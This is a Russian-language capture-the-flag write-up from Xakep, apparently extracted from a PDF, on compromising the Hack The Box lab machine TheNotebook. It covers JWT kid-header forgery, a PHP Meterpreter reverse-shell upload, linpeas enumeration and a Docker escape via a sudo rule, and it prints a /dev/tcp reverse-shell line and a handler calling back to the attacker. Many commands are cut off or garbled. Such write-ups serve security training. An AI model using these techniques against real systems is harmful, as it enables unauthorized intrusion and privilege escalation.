HTB TheNotebook. Совершаем побег из Docker, чтобы захватить рут - «Хакер»
HTB TheNotebook. Совершаем побег из Docker, чтобы захватить рут - «Хакер»
HTB TheNotebook. Совершаем побег из Docker, чтобы захватить рут - «Хакер»
HTB TheNotebook.
Совершаем побег из
Docker, чтобы захватить
рут
RalfHacker , 03.08.2021 1 комментарий 4,020
Содержание статьи
01. Разведка. Сканирование портов
02. Точка входа. Манипуляции JWT
03. Точка опоры. Уязвимость при загрузке файлов
04. Продвижение
05. Локальное повышение привилегий
WARNING
htb
10.10.10.230 thenotebook.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n'
nmap -p$ports -A $1
В данном случае стоит просмотреть все запросы к серверу и его ответы. Не исключено,
что таким образом обнаружатся логические ошибки в приложении. Для отлова всех
запросов и ответов проксируем их через Burp. Настроив его, проходим полный цикл
работы с заметкой: создаем ее и просматриваем.
Страница создания и заполнения заметки
С изменением ключа admin_cap все ясно, просто выставим единичку. Но что сделать
с подписью? В заголовке указан адрес приватного ключа, что наталкивает на идею:
сгенерировать свою пару ключей для подписи токена, разместить их на своем
веб-сервере и затем в заголовке указать адрес ключа на этом сервере. Сначала
сгенерируем пару ключей, а потом переведем в формат PEM.
key
ssh-keygen -t rsa -b 4096 -m PEM -f privKey.
pub
openssl rsa -in privKey.key -pubout -outform PEM -out pubKey.key.
server
python3 -m http.
Пора генерировать новый токен. Изменяем значения по ключам admin_cap и kid,
во втором случае указываем URL сгенерированного ключа. Также вставляем
сгенерированные публичный и приватный ключи в поля Verify Signature. Если ты все
сделал правильно, то ниже токена увидишь надпись Signature Veri�ed.
Логи веб-сервера
Разделы сайта
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php
Первая строка генерирует основной код нагрузки с помощью msfvenom. Здесь нужно
указать локальный адрес и порт для бэкконнекта, а также формат сохранения данных.
Вторая команда оформит сгенерированный код в теги PHP.
msfconsole
4321
handler -p php/meterpreter_reverse_tcp -H 10.10.14.178 -P
Запуск листенера
Бэкконнект Meterpreter
ПРОДВИЖЕНИЕ
Как найти путь для дальнейшего продвижения? Можно проверять вручную все
возможные варианты эскалации привилегий (о них читай в статье «Право на root»),
а можно воспользоваться готовыми скриптами. Загрузим на локальный хост скрипт
для Linux.
wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-
Теперь нужно загрузить его на удаленный хост. Благо meterpreter имеет встроенную
функцию upload для загрузки файлов. Получив интерактивный шелл, назначим право
на выполнение и запустим этот чудо-скрипт.
tmp
upload /tmp/linpeas.sh /
shell
sh
chmod +x /tmp/linpeas.
sh
/tmp/linpeas.
htb
ssh -i id_rsa noah@thenotebook.
Флаг пользователя
Настройки судоера
Видим, что любой пользователь (ALL) может выполнить вот эту команду
в привилегированном контексте без ввода пароля (NOPASSWD):
В коллекции GTFOBins для этой команды готового рецепта нет. Поэтому начнем копать
самостоятельно и первым делом выясним, какая версия Docker у нас используется.
version
docker
Версия Docker
Итак, это версия 18.06.0-ce. Нам остается только поискать эксплоиты для нее. Если
у тебя стоит Kali Linux, то первым делом можешь попробовать поискать при помощи
утилиты searchsploit:
docker
searchsploit
1
bash -i >& /dev/tcp/[IP]/[PORT] 0>&
Исходная команда
Остается собрать этот код. Если у тебя не установлен Go, то понадобится установить.
golang
apt intstall
go
go build main.
rlwrap
apt install
port]
rlwrap nc -lvp [
server
python3 -m http.
sh
sudo /usr/bin/docker exec -it webapp-dev01 /bin/
Токен рута
Оцени статью:
RalfHacker
t.me/RalfHackerChannel
Присоединиться к обсуждению
{} [+]
1 КОММЕНТАРИЙ Старые